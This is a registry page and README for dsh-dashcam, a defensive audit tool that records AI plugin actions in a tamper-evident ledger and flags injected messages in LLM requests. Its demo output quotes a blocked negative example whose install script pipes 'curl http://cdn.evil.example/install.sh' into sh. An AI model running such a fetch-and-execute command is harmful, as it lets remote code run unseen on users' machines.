odysseykernelt/dsh-dashcam ↗★ 0

dsh-dashcam

Plugin dashcam for DSH: capability manifests, runtime guards, and a tamper-evident audit ledger (formerly dsh-covenant).

パッケージ
dsh-dashcam
互換性
未検証
バージョン
1.12.0
ライセンス
MIT
最終更新
2026/11/09

インストール

検証済み bundle がないか、互換性チェックに失敗しています。先にリポジトリの説明を読んでください。 README 全文を読む ↗

ドキュメント

README 全文を読む ↗

dsh-dashcam

English | 中文

CI version node license status

dsh-dashcam is a dashcam for your AI plugins — it records what they actually do, it does not decide what they may do.

Install it with zero configuration and every observed action — files read, hosts contacted, commands run, tools invoked — lands in a tamper-evident JSONL ledger (SHA-256 hash chain, optional HMAC seal), each line stamped with which plugin did it and whether it happened under a contract (profiled: true) or outside any (profiled: false, zero-contract mode). Nothing is blocked, and no plugin author has to write or declare anything — being observed is not a burden on the observed.

What changes when you install it (default mount, zero contract):

BeforeAfter
Plugin activityinvisible — you learn about it when something breaksevery observed tool call recorded, per call
Attributionguessesplugin / pluginVersion on every line
Under a contract?unknowableprofiled / manifestHash on every line
Tamper evidencenonehash chain; offline re-verification of every line
Blocking—none. dashcam mode never denies a call

30 seconds, zero contract — default mount, empty config. While you work normally, this lands in ~/.dsh/dsh-dashcam/ledger.jsonl (fields elided):

{"v":4,"plugin":"dsh-dashcam-host","capability":"fs","action":"fs.read","scope":{"path":"C:/repo/src/app.ts"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}
{"v":4,"plugin":"dsh-dashcam-host","capability":"proc","action":"proc.spawn","scope":{"command":"git"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}

If you later want judgment on top of recording, add config.requests (what the plugin may do) and config.grants (what the host grants) — the same chain then runs Two-Key: declared + granted → allow, otherwise an advisory would-deny record (or a real deny under enforce: true). Recording and judging share one ledger and one hash chain, so upgrading never forks your audit trail.

Honesty rules of the road:

  • It does not block. Recording failures never deny a call: fail-open by default, with a loud warning and a best-effort ledger_fail marker entry. (policy.ledger.failMode: 'closed' restores refuse-to-run if you want that.)
  • It does not lie. decision: deny is only written when something was actually denied; intercepted: true means an undeclared call was actually intercepted, not hypothetically.
  • It says what it cannot see. Unmapped tools are recorded as observed with an input preview; the mount record states which mode the chain is in. No silent blind spots presented as coverage.

If you are not comfortable with a plugin watching plugin activity, do not install it. This is the primary advice, not a disclaimer: the ledger is a high-value target (it knows exactly which files were touched and when), the host adapter runs inside your agent's main process, and "it only records" is precisely why it sees everything. Verify the clone, keep the ledger out of backups you do not trust, set an HMAC key (ledgerMacKey) if tamper-resistance matters — or skip the install; the dashcam works hardest at earning that skepticism.

TL;DR — four steps on the DSH desktop host: clone this repo, then add the dependency "dsh-dashcam-host": "link:/dsh-dashcam-host" to the profile's package.json, append dsh-dashcam-host to dsh.profile.bundles, run one pnpm install, restart DeepSeek Harness — done. Details in Fast install. (An npm distribution of the host adapter is on the roadmap; for now, install from a clone.)

Underneath the dashcam sits the machinery built up over previous versions: install-time gates (structure / safety / signature), capability portraits, offline autopsy, ingress reconciliation. They still run — but in dashcam mode their output is evidence and labels, not verdicts.

Zero third-party dependencies, Node.js >= 20 (CommonJS).

Demo: a malicious plugin gets blocked at install time

Real output from the installation gates running on the bundled negative example — a manifest whose patch path escapes the plugin directory and whose install script pipes a remote script into sh (fields elided):

$ node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature
{
  "ok": false,
  "blocked": true,
  "plugin": "com.example.leaky",
  "securityLabels": ["Untrusted"],
  ...
  "formatted": [
    "[structure] manifest.json field=patches[0].path — patch 路径越出插件目录",
    "[structure] manifest.json field=scripts.install — 安装脚本不在白名单:curl http://cdn.evil.example/install.sh | sh"
  ],
  "labelLines": [
    "[Untrusted] — 调用方跳过验签,签名状态未知"
  ]
}

The pipeline fails fast: the structure gate blocks the install before signature/safety/contract stages ever run. Runtime messages are localized (Chinese); every failure points at an exact field and file.

1.11.0 Rename: dsh-covenant → dsh-dashcam

Starting from 1.11.0, this project is renamed dsh-dashcam (the product positioning narrows from "contract layer" to "plugin dashcam": capability declaration + runtime recording + verifiable ledger). The internal capability model name stays dashcam (formerly the covenant capability model); the invariant semantics in docs/SPEC.md are unchanged.

Migration checklist (upgrading from 1.10.x)

ItemOldNew
npm package namedsh-covenantdsh-dashcam (never published to npm, no dependency change needed)
CLIdsh-covenantdsh-dashcam (the old command remains in package.json bin as an alias pointing to the same script)
Host packagedsh-covenant-hostdsh-dashcam-host
Host config entry- id: dsh-covenant-host- id: dsh-dashcam-host (config content unchanged)
Default ledger path~/.dsh/dsh-covenant/ledger.jsonl~/.dsh/dsh-dashcam/ledger.jsonl
Signature format fielddsh-covenant/signatures@1dsh-dashcam/signatures@1
Contract specdsh-covenant/1dsh-dashcam/1
  • Automatic ledger migration: on the host's first startup, if the new path does not exist and the old one does, the old ledger (including .guard.log) is moved in place to the new directory and the log prints 账本迁移 ("ledger migrated"); profiles that explicitly configure ledgerPath are unaffected.
  • Signatures must be re-signed: the spec / FORMAT fields changed, so signature bundles produced by 1.10.x fail verification under 1.11.0 (the signature fields are part of the contract; no dual-format compatibility).
  • History is not recomputed: ledger content and the hash chain are preserved as-is; old values inside pluginVersion are kept as history only.

1.12.0 New: ingress audit (LLM request vs. inbound message reconciliation)

The 1.11.0 observation surface is "local execution": tools, files, processes, network. A ghost message produces none of those actions, so a clean ledger is expected. 1.12.0 adds two more metadata streams, landing on the same hash chain:

actionRecords
llm.requestPer request: message count, overall fingerprint messages.hash, added/removed/changed vs. the previous request in the same session, samples of new messages (role / source.kind / length / head80 / sha256 / attachment identity), tool count and fingerprint
llm.inboundEvery input that actually enters the session: messageId / source.kind / length / sha256 / head80
llm.anomalyReconciliation failures: added_user_without_inbound / dropped_inbound; records only, never blocks

Key semantics:

  • Four-quadrant test: only "no inbound + present in request" is injection; "absent on both sides" is model-fabricated and does not alert. The latter is exactly the cell where the ghost event fell — it must have an explicit regression test, not rely on someone remembering.
  • Whitelist by source.kind, not by role: injected messages such as runtime-context / compaction / plugin:memory / skill-catalog also carry role user; a role-based whitelist would false-positive immediately.
  • Observation records are not judgments: capability='llm.ingress' does not count toward requests / allows / denies / interceptionRate; it is reported separately as ingressRequests / ingressInbound / ingressAnomalies. decision is always allow; anomalies never write deny or intercepted.
  • Metadata only: message bodies never land in the ledger; with headBytes: 0 even the head is omitted. A single record is bounded by maxLineBytes.
  • fail-open: recording failures go to the degraded queue + .guard.log only; requests are unaffected.
  • Wiring (verified against local DSH): requests hook the llm/stream waterfall (listeners must return next()); inbound comes from user/message on session/event. agent/request (cannot modify messages) and agent/inbox/spliced (delivery events whose entries can be cancelled) are not used.
  • First request builds the baseline: when the host is attached mid-session, all historical messages count as "added" with no inbound to compare against, so the first request does not alert.
  • Known boundary: local egress can only prove "does X exist in the messages the client sent out". Server-side prefixes appended after the client are out of observation scope; coverage.unknown is an auxiliary signal only, not proof.

Quick start

npm test          # Full suite: contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission
node bin/dsh-dashcam.js help
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --session 
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --find "状态栏"

Core model

manifest 声明 ─┐
               ├─ Two-Key(交集)─→ 守卫链 ─→ 放行 / 拒绝 ─→ Ledger(哈希链)
宿主授予   ─────┘                      ↑
                                  One-Seal / 黑名单 / 完整性
  • Default deny-all: host grants is empty by default.
  • Non-invasive protection: policy.enforcement.mode defaults to advisory — gates run first, then emit security portrait labels (Untrusted / Quarantined / ReviewRequired / Broken / Verified); only malicious scripts and emergency blacklists block installation. mode: 'required' or the enterprise channel restores the "refuse to install" semantics.
  • Legacy default config: a manifest without a dashcam field is still parsed, auto-generating { level: 'legacy', quarantine: true }; no declaration means no capability (the Two-Key intersection is empty), and the enterprise channel still refuses.
  • Capability surface: fs.*, net.outbound, net.listen, proc.spawn, proc.signal, env.*, cred.*. Credential paths and environment variables are automatically escalated to cred.*.
  • Scope: path globs, host:port, environment-variable prefix wildcards, command basenames, port subsets, signal-target whitelists. Full semantics in docs/SPEC.md.
  • Audit: JSONL append + SHA-256 hash chain, fixed fields, offline re-computation line by line; intercepted=true separately records "undeclared API calls actually intercepted", directly retrievable via Ledger.interceptions().
  • Ingress observation: request/inbound/anomaly records with capability='llm.ingress' share the chain and signature verification with judgment records, but are counted separately in metrics so they do not dilute the allow rate or interception rate; ingress --find only searches sampled heads (unsampled messages are not covered).

Directory

src/
  contract/   capability taxonomy, manifest parsing, Two-Key, Charter/Sieve
  runtime/    derivation, guard chain, One-Seal, Ledger, Bridge
  handles/    capability handles (closed fs facade)
  gates/      structure, safety, loadability, installation pipeline
  signing/    Ed25519 dual signatures, trust table
  portrait/   capability portrait cards (three tiers)
  autopsy/    offline autopsy (six sections) + bundle patch combos
  governance/ three-tier rollback, blacklist, monthly metrics, circuit breaker
  host/       LocalHost: install → register → invoke → uninstall
bin/          CLI
docs/         specs, rollout cadence, compliance
examples/     positive package, negative package, demo policy
test/         contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission

Host integration

const { activate } = require('dsh-dashcam');

const plugin = activate({
  manifest,                 // parsed manifest
  grants,                   // host grant entries; default empty = deny-all
  policy,                   // see src/policy.js for the default policy
  ledgerPath: '.dsh-ledger.jsonl',
  pluginRoot: '/path/to/plugin',
  registerPreExecute: (check) => host.use(check),  // host pre-execute hook
});

// Uninstall
plugin.deactivate();

activate installs native module hooks at the guard entrance (covering in-process fs/net/child_process/env calls) and registers the pre-execute judgment function. If the host only wants judgments without patching, pass patchBuiltins: false.

Fast install (DSH desktop host)

DSH loads plugins per profile: ~/.dsh/profiles/desktop/package.json dependencies decide what gets installed and dsh.profile.bundles decides what gets enabled; the bundle's own cordis.patch.yml wires the plugin into the host config tree. Hooking the judgment chain in takes four steps:

  1. Mount: clone this repo, then add the dependency "dsh-dashcam-host": "link:/dsh-dashcam-host" to the profile's package.json (pointing at the dsh-dashcam-host directory inside the clone), and append dsh-dashcam-host to dsh.profile.bundles.
  2. Install: run pnpm install once in the profile directory (using the node/pnpm bundled with the host runtime).
  3. Restart DeepSeek Harness; success is confirmed when the log shows [dsh-dashcam] 判定链已挂载 ("judgment chain mounted") (logs live in %APPDATA%\@deepseek-ai\dsh-desktop\logs).
  4. Uninstall: remove the dependency and bundle, restore cordis.patch.yml, run pnpm install again, and restart.

The adapter package defaults to patchBuiltins: false: the host is an Electron main process and the Bridge is a process-level patch; installing it directly would take over the app's own fs/net, so by default only the pre-execute judgment function is registered. Set patchBuiltins: true explicitly in the cordis config when real interception is needed (semantics above in "Host integration").

CLI

# Generate publisher/reviewer keys and the trust table
node bin/dsh-dashcam.js keygen ./keys

# Dual signature (publisher + reviewer)
node bin/dsh-dashcam.js sign ./plugin --plugin com.example.plugin --version 1.0.0 \
  --publisher-key keys/publisher.private.pem --publisher-key-id publisher-2026a \
  --reviewer-key  keys/reviewer.private.pem  --reviewer-key-id  reviewer-2026a

# Verify signature (rebuild manifest → keyId → publisher → reviewer)
node bin/dsh-dashcam.js verify ./plugin --trust keys/trust.json

# Installation gates (blacklist → signature → structure → contract → Sieve → safety → loadability)
node bin/dsh-dashcam.js gates ./plugin --trust keys/trust.json --host --policy examples/demo-policy.json
node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature   # negative package: malicious script blocked (ok=false)

# Capability portrait / offline autopsy / metrics / blacklist / rollout
node bin/dsh-dashcam.js portrait ./plugin